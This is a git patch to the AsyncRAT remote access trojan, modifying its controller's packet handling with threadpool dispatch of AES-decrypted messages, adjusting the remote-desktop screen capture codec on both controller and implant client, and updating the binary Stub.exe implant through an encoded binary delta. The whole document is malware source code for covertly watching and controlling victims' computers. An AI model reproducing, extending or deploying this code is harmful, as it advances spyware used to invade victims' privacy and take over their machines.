From 4719d0042b25bb7966a621a48b536b95c0d60e7e Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 29 Mar 2019 14:15:41 -0700 Subject: [PATCH] UPDATE --- .../AsyncRAT-Sharp/Forms/RemoteDesktop.cs | 2 +- .../Handle Packet/HandlePacket.cs | 5 ++++- AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 97280 -> 97280 bytes AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 8 ++++---- .../Client/Handle Packet/RemoteDesktop.cs | 3 +-- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 2 +- 6 files changed, 11 insertions(+), 9 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs index 9b07f62..cefe314 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs @@ -44,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "true"; C.BeginSend(msgpack.Encode2Bytes()); - decoder = new UnsafeStreamCodec(80); + decoder = new UnsafeStreamCodec(60); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 1d6458f..4eb66cf 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -13,10 +13,13 @@ namespace AsyncRAT_Sharp.Handle_Packet class HandlePacket { private static cGeoMain cNewGeoUse = new cGeoMain(); - public static void Read(Clients Client, byte[] Data) + public static void Read(object Obj) { try { + object[] array = Obj as object[]; + byte[] Data = (byte[])array[0]; + Clients Client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(Data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 9f51c7591f7dc96f2778da89b2f10a072b54ac11..b4bfee74547f3450c0ef8e41f87d9e3537c78cb3 100644 GIT binary patch delta 1146 zcmYk6ZAepL6vxl`&pWS`F}+T0j+&b_o!(d^QMA z$_+KBFzA&mD60`kFZB8)tcZ|a%vBK8hYBjh!1dg_ht+}m;rIN`dCqeW_qmZ#B{HgX zv}P?y{(jck=H@+}=bO09VD>9&2b0?$SZRTKq1A;dSAu?AJYIO= z3`d3>#E7Jc+5;^)Ku?Aa=GZXw)~cgJ!e!xmAcF^U6!g3^Upz`nix+El+z~|7Sv=;^ z94g)zM}J%k7mQftYQ6Wc=7HOysJhB)2%4UD*5OMrS7zQ&f>eq+N%s|}pyiTIID0iO z8YP`|HafgmC&^RNG|7j}lJpW+z7N~OX%sC^X=P~5ke&SK_^;59p8pE{I4P;#+ozS| zyrfm$Yl5z%$vSog9!PiCrgH_JSQJ&;ZA=w-IT9ujan%qqfMF?*3K_sBi{h%QQ0Gc~ zldi0gsS=~owUz5!1xk{LsM=l5RD~Ri;_B{7opt0%7pr8_;YvGkwAhM`Qr`U5LewfriEvip!x)5WQjM0Xvc3K3FxTQofx}Xg5BE&2* zZ&6ZPjB^&HKjV5_%{V*NW1xS^ug00#2gIfSMJ7|S1+s z@US?{Vu6K$#pV&kwo^hmX?*y;tH3ior}zOFN-LAXSo2;Xe`?6AhcGs(Gyp-TPZ!49 zoI1#-1G3HkUy0<5kP(osY6Lxw&KRPJ2(`uNDD*+igLBM9k-?!<34VrcF#=6|RGQ+2 zJ*m}_p5_?=^rfzwC8J1dfwmu$9@nBW=NH|UF3C(qDtW~^OMp?O=G5Xdsa_*-N^n6Y zHF262OpK0kx@H=ZEOdg?EmN)0LZ>*H(;Ey{YUd=UrzKjc%cCJXVpy`#aD?<=r_oJ` zcAD6fXr~99+?G)(i=J|-vrIC2rIA{8HZ5`2rIRt6zNq9Cdvpld^mEYzZ1}|hlMY(v z@(Pm<(k*E&Em_7Kic`re+L94+D2co7EE%1Y!QEgMf|GV|*ODWnOfq-A90ZvPHOESO zDCN@8CG~ARgTF~bkWb%u;uGr&DW5_-an|~V(MBY3j0(v4Ni7ZfQ{?zUYUFeyr7*sj zd>XMM(h_&maD?ECfidU!xIz=nnw33ol>4QVt^iV}5 zobCuSSVh;hM0TeoshXx$(w?!KUPqiB-1KgIBUGCkeVKg-zhEeMz=~3_@$E%-Zh>Lz zz7gB}k@nT+t-;exIBJSN&VLQ1sI!B4&6tiY!Trs66N6h?a9yB&S1{oWe#bsn^go+R B7a0Hm diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index a6f80e9..a67f2d3 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -7,6 +7,8 @@ using AsyncRAT_Sharp.Handle_Packet; using System.Threading.Tasks; using System.Security.Cryptography; using System.Drawing; +using System.Diagnostics; +using System.Threading; namespace AsyncRAT_Sharp.Sockets { @@ -65,6 +67,7 @@ namespace AsyncRAT_Sharp.Sockets if (Buffersize > 0) { Buffer = new byte[Buffersize]; + Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); BufferRecevied = true; } } @@ -75,11 +78,9 @@ namespace AsyncRAT_Sharp.Sockets await MS.WriteAsync(Buffer, 0, Recevied); if (MS.Length == Buffersize) { - await Task.Run(() => - { try { - HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray())); + ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this }); } catch (CryptographicException) { @@ -94,7 +95,6 @@ namespace AsyncRAT_Sharp.Sockets MS.Dispose(); MS = new MemoryStream(); BufferRecevied = false; - }); } else Buffer = new byte[Buffersize - MS.Length]; diff --git a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs index ddf3fe6..dc5543d 100644 --- a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs @@ -17,10 +17,9 @@ namespace Client.Handle_Packet { try { - IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80); + IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60); while (RemoteDesktop_Status == true) { - Thread.Sleep(1); if (!ClientSocket.Client.Connected) break; Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 98940b5..ad0baf3 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -123,7 +123,7 @@ namespace Client.Sockets if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); - Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///"); + Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0)